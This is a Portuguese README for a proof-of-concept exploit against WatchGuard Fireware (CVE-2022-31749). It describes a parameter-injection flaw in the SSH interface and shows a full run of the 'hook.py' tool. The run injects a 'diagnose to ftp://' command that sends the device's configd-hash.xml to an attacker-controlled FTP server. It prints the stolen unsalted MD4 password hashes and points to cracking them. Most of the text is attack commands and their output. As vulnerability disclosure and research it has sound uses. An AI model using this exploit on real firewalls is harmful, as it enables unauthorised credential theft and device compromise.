
Prova de Conceito para Leitura Arbitrária de Arquivo Autenticado do WatchGuard (CVE-2022-31749)
O Hook explora uma vulnerabilidade de injeção de parâmetros na interface SSH do WatchGuard. A vulnerabilidade permite que um usuário com baixos privilégios exfiltre arquivos arbitrários do sistema para um servidor FTP controlado pelo atacante. Felizmente, há um usuário embutido com baixos privilégios chamado status para o qual este script é padronizado. Não é irracional assumir que o usuário status usará uma senha de readonly, mas não é obrigatório.
O Hook exfiltra o arquivo de usuário configd-hash.xml. Este arquivo contém hashes de senhas de usuários. Os hashes são simplesmente MD4 sem sal. @funoverip descreveu o uso do hashcat para quebrar os hashes neste arquivo já em 2013.
albinolobster@ubuntu:~/hook$ python3 hook.py --lhost 10.12.70.251 --rhost 10.12.70.249
0101010001101000 0110010100100000 0110100001101111
0110111101101011 0010000001100010 0111001001101001
,ggg, gg
dP""Y8b 88 ,dPYb,
Yb, `88 88 IP'`Yb
`" 88 88 I8 8I
88aaaaaaa88 I8 8bgg,
88"""""""88 ,ggggg, ,ggggg, I8 dP" "8
88 88 dP" "Y8ggg dP" "Y8ggg I8d8bggP"
88 88 i8' ,8I i8' ,8I I8P' "Yb,
88 Y8,,d8, ,d8' ,d8, ,d8' ,d8 `Yb,
88 `Y8P"Y8888P" P"Y8888P" 88P Y8
0110111001100111 0111001100100000 0111100101101111
0111010100100000 0110001001100001 0110001101101011
jbaines-r7
CVE-2022-31749
🦞
[+] Spinning up FTP server thread
[I 2022-06-16 12:58:39] concurrency model: async
[I 2022-06-16 12:58:39] masquerade (NAT) address: None
[I 2022-06-16 12:58:39] passive ports: None
[I 2022-06-16 12:58:39] >>> starting FTP server on 10.12.70.251:1270, pid=19473 <<<
diagnose to ftp://r7:1270/r7
--
-- WatchGuard Fireware OS Version 12.1.3.B658867
-- Support: https://www.watchguard.com/support/supportLogin.asp
-- Copyright (C) 1996-2022 WatchGuard Technologies Inc.
--
WG>diagnose to ftp://r7:1270/r7
Name:
albinolobster
Password:
[I 2022-06-16 12:58:46] 10.12.70.249:52588-[] FTP session opened (connect)
[I 2022-06-16 12:58:46] 10.12.70.249:52588-[albinolobster] USER 'albinolobster' logged in.
[I 2022-06-16 12:58:46] 10.12.70.249:52588-[albinolobster] STOR /home/albinolobster/hook/configd-hash.xml completed=1 bytes=249 seconds=0.001
[I 2022-06-16 12:58:46] 10.12.70.249:52588-[albinolobster] FTP session closed (disconnect).
WG>
[!] Done
albinolobster@ubuntu:~/hook$ file configd-hash.xml
configd-hash.xml: gzip compressed data, max speed, from Unix, original size modulo 2^32 587
albinolobster@ubuntu:~/hook$ mv configd-hash.xml configd-hash.xml.gz
albinolobster@ubuntu:~/hook$ gunzip configd-hash.xml.gz
albinolobster@ubuntu:~/hook$ cat configd-hash.xml
<?xml version="1.0"?>
<users>
<version>3</version>
<user name="admin">
<enabled>1</enabled>
<hash>628427e87df42adc7e75d2dd5c14b170</hash>
<domain>Firebox-DB</domain>
<role>Device Administrator</role>
</user>
<user name="status">
<enabled>1</enabled>
<hash>dddbcb37e837fea2d4c321ca8105ec48</hash>
<domain>Firebox-DB</domain>
<role>Device Monitor</role>
</user>
<user name="wg-support">
<enabled>0</enabled>
<hash>dddbcb37e837fea2d4c321ca8105ec48</hash>
<domain>Firebox-DB</domain>
<role>Device Monitor</role>
</user>
</users>
albinolobster@ubuntu:~/hook$